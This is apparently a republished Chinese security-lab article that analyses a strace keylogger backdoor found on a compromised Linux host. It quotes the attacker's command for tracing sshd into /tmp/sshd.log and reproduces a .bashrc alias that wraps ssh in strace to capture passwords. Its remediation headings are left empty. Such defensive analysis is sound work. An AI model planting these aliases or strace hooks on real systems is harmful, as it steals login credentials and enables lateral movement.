一、起因
(一)排查中发现的异常strace进程
在某次重要活动中,某应用系统因存在漏洞而失陷。在上机排查过程中,发现系统中运行着strace进程,正在跟踪ssh服务进程的系统调用:
//查看命令历史
history
//查看进程列表中的strace
ps aux | grep strace
根据经验,初步判断该进程可能是strace键盘记录后门。
(二)问题的提出
-
排查中发现的strace进程的作用是什么?
-
strace程序原本的作用是什么?
-
通过实验演示如何将strace作为键盘记录后门使用
-
如何处置strace键盘记录后门?
二、分析和解答
(一)排查中发现的strace进程的作用
1、 命令历史中的strace
sudo strace -f -F -p `ps aux | grep "sshd -D" | grep -v grep | awk '{print $2}'`
strace参数说明:
-f //跟踪子进程
-F //已弃用
-p //指定进程的PID
这条命令的作用是,使用strace,通过sshd服务的PID对其进行跟踪,具体跟踪的方式因屏幕宽度不够而没有显示出来。
sudo grep -E 'read(6, ".+\0\0\0\.+"'/tmp/sshd.log)'
这条命令的作用是,从/tmp/sshd.log文件中提取包含特定字符串的行(记录的密码)。
2、 进程中的strace
sudo strace -f -F -p 1613303 -t -e trace=read,write -s 32
strace的参数:
-t //在输出中加入时间戳
-e expr //指定表达式,控制如何跟踪。格式如下: [qualifier=][!]value1[,value2]...
默认的 qualifier是trace。-e trace=read,write即追踪读、写相关的系统调用
-s strsize //指定输出的字符串的最大长度,默认为32。
这条命令的作用是,使用strace追踪PID为1613303的进程的与读写有关的系统调用。
注意,以上的strace命令中没有指定输出文件,实际上是要输出到文件中的,这里因为屏幕宽度不够,导致-o参数的内容无法显示出来。完整的命令应该是这样:
strace -f -F -p 1613303 -t -e trace=read,write -s 32 -o /tmp/sshd.log
由此可看出攻击者的意图:跟踪sshd服务的读、写相关的系统调用,将调用的内容写入指定的文件。之所以这样做,是因为sshd进程读写的内容中包含远程主机登录本地时使用的用户名和口令,攻击者可通过查看文件内容来获取。如果获取了root的口令,攻击者即可完全控制该系统。
(二)strace程序原本的作用
1、 strace是什么?
strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux系统中,进程不能直接访问硬件设备(如读取磁盘文件,接收网络数据等),当进程需要访问硬件设备时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数、返回值、执行消耗的时间。
strace可以附着到已在运行的进程或新的进程。使用strace跟踪进程时,不需要那个进程的源代码,也不需要对该进程进行重新编译。
strace从内核接收系统调用的信息,且不需要对内核进行任何修改。
2、 strace能解决什么问题?
strace命令是一个集诊断、调试、统计与一体的工具,可以利用strace来跟踪应用程序的系统调用和信号传递过程,以便对应用运行机制进行分析,从而解决应用程序遇到的问题,如程序运行缓慢、运行出错等。也可以以此判断该程序是否是一个恶意程序。
(三)strace键盘记录后门实验
下面的实验取自我在FREEBUF上发布的一片文章,名为《Linux系统后门初步研究》,网址为:
https://www.freebuf.com/articles/system/259494.html
我在这里做更详细的解释。以下操作均在linux主机(manjaro 2020,假设已失陷)上执行。
1、 创建别名alias
(1) 编辑配置文件
vi ~/.bashrc //文件末尾加入下面的指令
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
保存退出
(2) strace的参数说明:
strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh
-o //将strace的输出写入文件
-e expr //指定表达式,控制如何跟踪。格式如下: [qualifier=][!]value1[,value2]...
默认的 qualifier是trace。-e open等价于 -e trace=open。-e read,write,connect即追踪读、写、连接的系统调用
-s strsize //指定输出的字符串的最大长度,默认为32。
ssh //跟踪状态下运行的命令
(3) 使修改生效
source ~/.bashrc
执行后alias别名即生效。此后用户在命令行输入ssh时,执行的不是/usr/sbin/ssh,而是strace那一串命令。这样,用户通过ssh访问其它主机所输入的用户名和口令都会被攻击者获取,攻击者以此作为横向移动的凭据。
2、 获取ssh账户的口令
(1) 用户发起ssh连接
//失陷主机上,正常用户执行ssh命令,访问其它主机
(2) 获取ssh账户/口令
//查找指定信息所在的行,这里是第89行
cat /tmp/sshpwd-2411月111606192953.log | grep -n password | grep write
(四)strace后门的处置
1、 判断可执行文件是否已被替换
2、 清除strace键盘窃听器后门
原文始发于微信公众号(新蜂网络安全实验室):strace键盘记录后门分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论